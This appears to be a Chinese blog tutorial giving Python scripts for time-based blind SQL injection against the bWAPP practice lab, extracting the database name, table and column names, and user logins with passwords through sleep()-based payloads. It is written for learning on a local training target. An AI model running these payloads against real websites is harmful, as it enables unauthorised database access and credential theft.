sql盲注python脚本学习 (基于bWAPP靶场)

全局部分

python 复制代码
# 数组转字符串
from shlex import join
# 请求
import requests
# 记时
import time

r = requests.session()

登录

python 复制代码
def login():
    login_url = 'http://127.0.0.1:1234/login.php'
    params = dict(
        login='bee',
        password='bug',
        security_level=0,
        form='submit'
    )

    res = r.post(login_url, params)
    print(res) # 返回的响应码

获取当前库名

python 复制代码
def get_db_name_length():
    len = 1
    while(1):
        sql_str = f"1' or if(length(database())={len},sleep(1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time()-start)>1: 
            return len
        len+=1

def get_db_name(max):
    db_name = [''] * max
    for len in range(1,max+1,1):
        ACI = 48
        while(ACI<128):
            sql_str = f"1' or if(ascii(substr(database(),{len},1))={ACI},sleep(1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                db_name[len-1]=chr(ACI)
                break
            ACI +=1
    return db_name

db_name = get_db_name(get_db_name_length())
print(join(db_name))
# 结果:b W A P P

获取全部表名

python 复制代码
def get_table_name_length():
    len = 1
    while(1):
        sql_str = f"1' or if(length((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'))={len},sleep(1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time()-start)>1:
            return len
        len+=1

def get_table_name(max):
    table_name = [''] * max
    for len in range(1,max+1,1):
        ACI = 48
        while(ACI<128):
            sql_str = f"1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),{len},1))={ACI},sleep(1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                print(chr(ACI))
                table_name[len-1]=chr(ACI)
                break
            ACI +=1
    return table_name

table_name=get_table_name(get_table_name_length())
print(join(table_name))
# 结果:b l o g '' h e r o e s '' m o v i e s '' u s e r s '' v i s i t o r s

获取字段名

仅仅更改sql_str

python 复制代码
sql_str = f"1' or if(length((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'))=
{len},sleep(1),1) -- "

sql_str = f"1' or if(ascii(substr((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'),
{len},1))={ACI},sleep(1),1) -- "

获取用户信息

python 复制代码
def get_users_passwd():
    cou = 1
    while (1):
        sql_str = f"1' or if(length((select group_concat(concat(login,'-',password)) from bWAPP.users))={cou},sleep(0.1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time() - start) > 1:
            print(cou)
            break
        cou+=1

    user_str = ['']*cou
    for x in range(1,cou,1):
        ACI = 48
        while (ACI < 128):
            sql_str = f"1' or if(ascii(substr((select group_concat(concat(login,'-',password)) from bWAPP.users),{x},1))={ACI},sleep(0.1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                print(chr(ACI))
                user_str[x-1]=chr(ACI)
                break
            ACI+=1
    return join(user_str)
相关推荐
FreakStudio1 小时前
全网最适合入门的面向对象编程教程:48 Python函数方法与接口-位置参数、默认参数、可变参数和关键字参数
python·嵌入式·面向对象·电子diy
天下无敌笨笨熊2 小时前
PyQT开发总结
python·pyqt
机器学习Zero2 小时前
让效率飞升的秘密武器:解锁编程高效时代的钥匙
git·python·github·aigc
wjcroom2 小时前
celery-APP在windows平台的发布方法(绿色免安装exe可搭配eventlet)
windows·python·celery
Achanss3 小时前
C#学习笔记 .NET Core使用注意事项
笔记·学习·c#
爱分享的益达3 小时前
往年互联网大厂腾讯华为百度等校招面试笔试题合集
学习·程序人生·面试·生活
AI让世界更懂你3 小时前
漫谈设计模式 [5]:建造者模式
python·设计模式·建造者模式
B.-3 小时前
Remix 学习 - 路由模块(Route Module)
前端·javascript·学习·react·web
FutureUniant3 小时前
GitHub每日最火火火项目(9.13)
人工智能·python·计算机视觉·github·音视频
limengshi1383924 小时前
通信工程学习:什么是GFP通用成帧规范
服务器·网络·网络协议·学习·信息与通信